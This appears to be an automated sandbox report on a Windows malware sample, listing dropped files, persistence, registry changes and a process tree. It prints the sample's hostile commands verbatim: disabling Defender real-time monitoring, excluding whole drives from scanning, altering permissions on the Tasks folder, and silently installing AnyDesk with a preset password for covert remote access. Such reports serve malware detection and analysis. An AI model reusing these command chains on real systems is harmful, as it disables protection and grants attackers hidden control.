File created	C:\Program Files (x86)\MSBuild\dllhost.exe	ComdriverSvc.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\fontdrvhost.exe	ComdriverSvc.exe
File created	C:\Program Files (x86)\Windows NT\Accessories\timeout.exe	ComdriverSvc.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\5b884080fd4f94	ComdriverSvc.exe
File created	C:\Program Files\7-Zip\Lang\69ddcba757bf72	ComdriverSvc.exe
File created	C:\Program Files\Common Files\DESIGNER\RuntimeBroker.exe	ComdriverSvc.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\5940a34987c991	ComdriverSvc.exe
File created	C:\Program Files (x86)\Internet Explorer\de-DE\e1ef82546f0b02	ComdriverSvc.exe
File created	C:\Program Files (x86)\Internet Explorer\de-DE\SppExtComObj.exe	ComdriverSvc.exe
File created	C:\Program Files (x86)\Windows Media Player\fr-FR\5b884080fd4f94	ComdriverSvc.exe
File created	C:\Program Files (x86)\MSBuild\5940a34987c991	ComdriverSvc.exe
File created	C:\Program Files\7-Zip\Lang\smss.exe	ComdriverSvc.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\24dbde2999530e	ComdriverSvc.exe
File created	C:\Program Files\Common Files\DESIGNER\9e8d7a4ca61bd9	ComdriverSvc.exe
File created	C:\Program Files (x86)\Windows Media Player\fr-FR\fontdrvhost.exe	ComdriverSvc.exe
File created	C:\Program Files (x86)\Windows NT\Accessories\22381bee9c04b1	ComdriverSvc.exe

Drops file in Windows directory 9 IoCs

Processes:

ComdriverSvc.exeComdriverSvc.exe

description	ioc	process
File created	C:\Windows\Globalization\Sorting\smss.exe	ComdriverSvc.exe
File created	C:\Windows\Containers\serviced\StartMenuExperienceHost.exe	ComdriverSvc.exe
File created	C:\Windows\DigitalLocker\56085415360792	ComdriverSvc.exe
File created	C:\Windows\Globalization\Sorting\69ddcba757bf72	ComdriverSvc.exe
File created	C:\Windows\rescache\_merged\2360802049\OfficeClickToRun.exe	ComdriverSvc.exe
File created	C:\Windows\Containers\serviced\55b276f4edf653	ComdriverSvc.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-photoscreensaver_31bf3856ad364e35_10.0.19041.1_none_c5a0f0d83f7614ce\AnyDesk.exe	ComdriverSvc.exe
File created	C:\Windows\DigitalLocker\wininit.exe	ComdriverSvc.exe
File opened for modification	C:\Windows\DigitalLocker\wininit.exe	ComdriverSvc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

pid	process
480	schtasks.exe
4216	schtasks.exe
5096	schtasks.exe
2344	schtasks.exe
4136	schtasks.exe
3740	schtasks.exe
2624	schtasks.exe
4800	schtasks.exe
3928	schtasks.exe
4604	schtasks.exe
856	schtasks.exe
6112	schtasks.exe
6096	schtasks.exe
5072	schtasks.exe
4364	schtasks.exe
2928	schtasks.exe
4520	schtasks.exe
640	schtasks.exe
3532	schtasks.exe
4748	schtasks.exe
4268	schtasks.exe
3160	schtasks.exe
4724	schtasks.exe
4984	schtasks.exe
3520	schtasks.exe
1948	schtasks.exe
1060	schtasks.exe
4224	schtasks.exe
4924	schtasks.exe
1716	schtasks.exe
1676	schtasks.exe
3412	schtasks.exe
488	schtasks.exe
6044	schtasks.exe
1260	schtasks.exe
4704	schtasks.exe
3568	schtasks.exe
1688	schtasks.exe
6128	schtasks.exe
3664	schtasks.exe
1608	schtasks.exe
3676	schtasks.exe
4920	schtasks.exe
2232	schtasks.exe
1348	schtasks.exe
3348	schtasks.exe
5064	schtasks.exe
1928	schtasks.exe
972	schtasks.exe
3664	schtasks.exe
2408	schtasks.exe
2268	schtasks.exe
5988	schtasks.exe
5244	schtasks.exe
3308	schtasks.exe
4060	schtasks.exe
2308	schtasks.exe
696	schtasks.exe
3912	schtasks.exe
6076	schtasks.exe
1100	schtasks.exe
5444	schtasks.exe
2216	schtasks.exe
4628	schtasks.exe

Delays execution with timeout.exe 6 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid process

3128 timeout.exe
1964 timeout.exe
1132 timeout.exe
5116 timeout.exe
692 timeout.exe
5960 timeout.exe
Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

3264 tasklist.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

3572 taskkill.exe
1748 taskkill.exe

pid	process
3128	timeout.exe
1964	timeout.exe
1132	timeout.exe
5116	timeout.exe
692	timeout.exe
5960	timeout.exe

pid	process
3264	tasklist.exe

pid	process
3572	taskkill.exe
1748	taskkill.exe

Modifies registry class 18 IoCs

Processes:

dc.exepowershell.exeComdriverSvc.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	dc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --play \"%1\""	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	ComdriverSvc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\ = "URL:AnyDesk Protocol"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon\ = "AnyDesk.exe,0"	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\URL Protocol	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" \"%1\""	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\",0"	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeComdriverSvc.exeAnyDesk.exepowershell.exepowershell.exepowershell.exetimeout.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exemigrate.exe

pid	process
2696	powershell.exe
2696	powershell.exe
3532	powershell.exe
3532	powershell.exe
2644	powershell.exe
2644	powershell.exe
2252	powershell.exe
2252	powershell.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
2412	AnyDesk.exe
2412	AnyDesk.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
4132	ComdriverSvc.exe
312	powershell.exe
312	powershell.exe
2340	powershell.exe
2340	powershell.exe
3884	powershell.exe
3884	powershell.exe
3128	timeout.exe
3128	timeout.exe
1608	powershell.exe
3304	powershell.exe
3304	powershell.exe
1608	powershell.exe
3548	powershell.exe
3548	powershell.exe
3520	powershell.exe
3520	powershell.exe
4052	powershell.exe
4052	powershell.exe
2120	powershell.exe
2120	powershell.exe
3100	powershell.exe
3100	powershell.exe
5036	powershell.exe
5036	powershell.exe
3632	powershell.exe
3632	powershell.exe
1520	migrate.exe
1520	migrate.exe
312	powershell.exe
312	powershell.exe
3884	powershell.exe
3884	powershell.exe
3128	timeout.exe
2340	powershell.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

powershell.exepowershell.exetaskkill.exetaskkill.exepowershell.exeComdriverSvc.exepowershell.exepowershell.exepowershell.exetimeout.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exemigrate.exepowershell.exeComdriverSvc.exetasklist.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	1748	taskkill.exe
Token: SeDebugPrivilege	3572	taskkill.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	4132	ComdriverSvc.exe
Token: SeDebugPrivilege	312	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	3884	powershell.exe
Token: SeDebugPrivilege	3128	timeout.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeDebugPrivilege	3304	powershell.exe
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	2120	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeDebugPrivilege	1520	migrate.exe
Token: SeDebugPrivilege	5580	powershell.exe
Token: SeDebugPrivilege	5808	ComdriverSvc.exe
Token: SeDebugPrivilege	3264	tasklist.exe
Token: SeDebugPrivilege	1928	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

AnyDesk.exe

pid process

5048 AnyDesk.exe
5048 AnyDesk.exe
5048 AnyDesk.exe
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

AnyDesk.exe

pid process

5048 AnyDesk.exe
5048 AnyDesk.exe
5048 AnyDesk.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

1.exe

pid process

624 1.exe

pid	process
5048	AnyDesk.exe
5048	AnyDesk.exe
5048	AnyDesk.exe

pid	process
5048	AnyDesk.exe
5048	AnyDesk.exe
5048	AnyDesk.exe

pid	process
624	1.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tmp.execmd.exedc.exeany.execmd.execmd.exenet.exenet.exenet.exeWScript.exe

description	pid	process	target process
PID 848 wrote to memory of 2696	848	tmp.exe	powershell.exe
PID 848 wrote to memory of 2696	848	tmp.exe	powershell.exe
PID 848 wrote to memory of 2696	848	tmp.exe	powershell.exe
PID 848 wrote to memory of 3532	848	tmp.exe	powershell.exe
PID 848 wrote to memory of 3532	848	tmp.exe	powershell.exe
PID 848 wrote to memory of 3532	848	tmp.exe	powershell.exe
PID 848 wrote to memory of 624	848	tmp.exe	1.exe
PID 848 wrote to memory of 624	848	tmp.exe	1.exe
PID 848 wrote to memory of 624	848	tmp.exe	1.exe
PID 848 wrote to memory of 3664	848	tmp.exe	cmd.exe
PID 848 wrote to memory of 3664	848	tmp.exe	cmd.exe
PID 848 wrote to memory of 3664	848	tmp.exe	cmd.exe
PID 848 wrote to memory of 260	848	tmp.exe	any.exe
PID 848 wrote to memory of 260	848	tmp.exe	any.exe
PID 848 wrote to memory of 260	848	tmp.exe	any.exe
PID 848 wrote to memory of 1584	848	tmp.exe	dc.exe
PID 848 wrote to memory of 1584	848	tmp.exe	dc.exe
PID 848 wrote to memory of 1584	848	tmp.exe	dc.exe
PID 3664 wrote to memory of 3872	3664	cmd.exe	cmd.exe
PID 3664 wrote to memory of 3872	3664	cmd.exe	cmd.exe
PID 3664 wrote to memory of 3872	3664	cmd.exe	cmd.exe
PID 1584 wrote to memory of 2272	1584	dc.exe	WScript.exe
PID 1584 wrote to memory of 2272	1584	dc.exe	WScript.exe
PID 1584 wrote to memory of 2272	1584	dc.exe	WScript.exe
PID 260 wrote to memory of 2316	260	any.exe	cmd.exe
PID 260 wrote to memory of 2316	260	any.exe	cmd.exe
PID 260 wrote to memory of 2316	260	any.exe	cmd.exe
PID 3872 wrote to memory of 1060	3872	cmd.exe	chcp.com
PID 3872 wrote to memory of 1060	3872	cmd.exe	chcp.com
PID 3872 wrote to memory of 1060	3872	cmd.exe	chcp.com
PID 2316 wrote to memory of 4580	2316	cmd.exe	chcp.com
PID 2316 wrote to memory of 4580	2316	cmd.exe	chcp.com
PID 2316 wrote to memory of 4580	2316	cmd.exe	chcp.com
PID 3872 wrote to memory of 1132	3872	cmd.exe	timeout.exe
PID 3872 wrote to memory of 1132	3872	cmd.exe	timeout.exe
PID 3872 wrote to memory of 1132	3872	cmd.exe	timeout.exe
PID 2316 wrote to memory of 2396	2316	cmd.exe	net.exe
PID 2316 wrote to memory of 2396	2316	cmd.exe	net.exe
PID 2316 wrote to memory of 2396	2316	cmd.exe	net.exe
PID 2396 wrote to memory of 3764	2396	net.exe	net1.exe
PID 2396 wrote to memory of 3764	2396	net.exe	net1.exe
PID 2396 wrote to memory of 3764	2396	net.exe	net1.exe
PID 2316 wrote to memory of 696	2316	cmd.exe	net.exe
PID 2316 wrote to memory of 696	2316	cmd.exe	net.exe
PID 2316 wrote to memory of 696	2316	cmd.exe	net.exe
PID 696 wrote to memory of 2268	696	net.exe	net1.exe
PID 696 wrote to memory of 2268	696	net.exe	net1.exe
PID 696 wrote to memory of 2268	696	net.exe	net1.exe
PID 2316 wrote to memory of 2344	2316	cmd.exe	net.exe
PID 2316 wrote to memory of 2344	2316	cmd.exe	net.exe
PID 2316 wrote to memory of 2344	2316	cmd.exe	net.exe
PID 2344 wrote to memory of 3912	2344	net.exe	net1.exe
PID 2344 wrote to memory of 3912	2344	net.exe	net1.exe
PID 2344 wrote to memory of 3912	2344	net.exe	net1.exe
PID 2316 wrote to memory of 1748	2316	cmd.exe	taskkill.exe
PID 2316 wrote to memory of 1748	2316	cmd.exe	taskkill.exe
PID 2316 wrote to memory of 1748	2316	cmd.exe	taskkill.exe
PID 2316 wrote to memory of 3572	2316	cmd.exe	taskkill.exe
PID 2316 wrote to memory of 3572	2316	cmd.exe	taskkill.exe
PID 2316 wrote to memory of 3572	2316	cmd.exe	taskkill.exe
PID 2316 wrote to memory of 2644	2316	cmd.exe	powershell.exe
PID 2316 wrote to memory of 2644	2316	cmd.exe	powershell.exe
PID 2316 wrote to memory of 2644	2316	cmd.exe	powershell.exe
PID 2272 wrote to memory of 3800	2272	WScript.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:848

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2696

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\migration , c:\users\kbtgt\desktop , C:\Windows\tasks , C:\Windows , C:\Windows\Logs , C:\Windows\SysWOW64 , C:\Windows\System32\WindowsPowerShell\v1.0 , C:\ProgramData , C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe , powershell.exe , c:\
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3532

C:\programdata\1.exe
"C:\programdata\1.exe" /D
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:624

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\programdata\ru.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:3664

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K "c:\programdata\st.bat"
3⤵
- Suspicious use of WriteProcessMemory
PID:3872

C:\Windows\SysWOW64\chcp.com
chcp 65001
4⤵
PID:1060

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:1132

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" dir "C:\ProgramData\Microsoft\Windows Defender" "
4⤵
PID:1744

C:\Windows\SysWOW64\findstr.exe
findstr /i "Platform"
4⤵
PID:3740

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath c:\windows\migration\ , c:\users\kbtgt\desktop\ , C:\Windows\tasks\ , C:\Windows\ , C:\Windows\Logs\ , C:\Windows\SysWOW64\ , C:\Windows\System32\WindowsPowerShell\v1.0\ , C:\ProgramData\
4⤵
PID:1520

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3264

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
4⤵
PID:3912

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:692

C:\Windows\SysWOW64\takeown.exe
takeown /f c:\windows\tasks
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5184

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "*S-1-1-0:(R,REA,RA,RD)" "*S-1-5-7:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5144

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4136

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:1964

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5960

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Admin:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:6004

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Admin:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1732

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3412

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4004

\??\c:\programdata\migrate.exe
c:\programdata\migrate.exe -p4432
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1520

C:\programdata\any.exe
"C:\programdata\any.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:260

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\programdata\any.bat" "
3⤵
- Suspicious use of WriteProcessMemory
PID:2316

C:\Windows\SysWOW64\chcp.com
chcp 65001
4⤵
PID:4580

C:\Windows\SysWOW64\net.exe
net stop TaskSc
4⤵
- Suspicious use of WriteProcessMemory
PID:2396

C:\Windows\SysWOW64\net.exe
net stop TaskScs
4⤵
- Suspicious use of WriteProcessMemory
PID:696

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TaskScs
5⤵
PID:2268

C:\Windows\SysWOW64\net.exe
net stop AnyDesk
4⤵
- Suspicious use of WriteProcessMemory
PID:2344

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AnyDesk
5⤵
PID:3912

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM anydesk.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1748

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM wininit1.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
5⤵
PID:3212

C:\ProgramData\wsappz.exe
C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
6⤵
PID:2252

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:5116

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c echo Pass32552
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:5580

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c echo Pass32552
5⤵
PID:5780

C:\ProgramData\AnyDesk\AnyDesk.exe
C:\ProgramData\AnyDesk\anydesk.exe --set-password
4⤵
- Executes dropped EXE
PID:5592

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:5960

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c C:\ProgramData\AnyDesk\anydesk.exe --get-id
4⤵
PID:3588

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\ProgramData\AnyDesk\anydesk.exe --get-id
5⤵
PID:4744

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3128

C:\programdata\dc.exe
"C:\programdata\dc.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1584

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\runtimeMonitor\eW0NlR3z8rHah1r0tet2KhNAo.vbe"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\runtimeMonitor\PsYm20I.bat" "
4⤵
PID:3800

C:\runtimeMonitor\ComdriverSvc.exe
"C:\runtimeMonitor\ComdriverSvc.exe"
5⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4132

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/odt/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1608

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/runtimeMonitor/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3304

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\yJNRBzAAII.bat"
6⤵
PID:2408

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
7⤵
PID:3144

C:\runtimeMonitor\ComdriverSvc.exe
"C:\runtimeMonitor\ComdriverSvc.exe"
7⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
8⤵
PID:4420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
8⤵
PID:592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
8⤵
PID:4748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
8⤵
PID:5032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
8⤵
PID:2732

C:\odt\RuntimeBroker.exe
"C:\odt\RuntimeBroker.exe"
8⤵
PID:5804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
8⤵
PID:4152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/runtimeMonitor/'
8⤵
PID:4020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
8⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
8⤵
PID:976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/odt/'
8⤵
PID:2328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
8⤵
PID:2504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
8⤵
PID:848
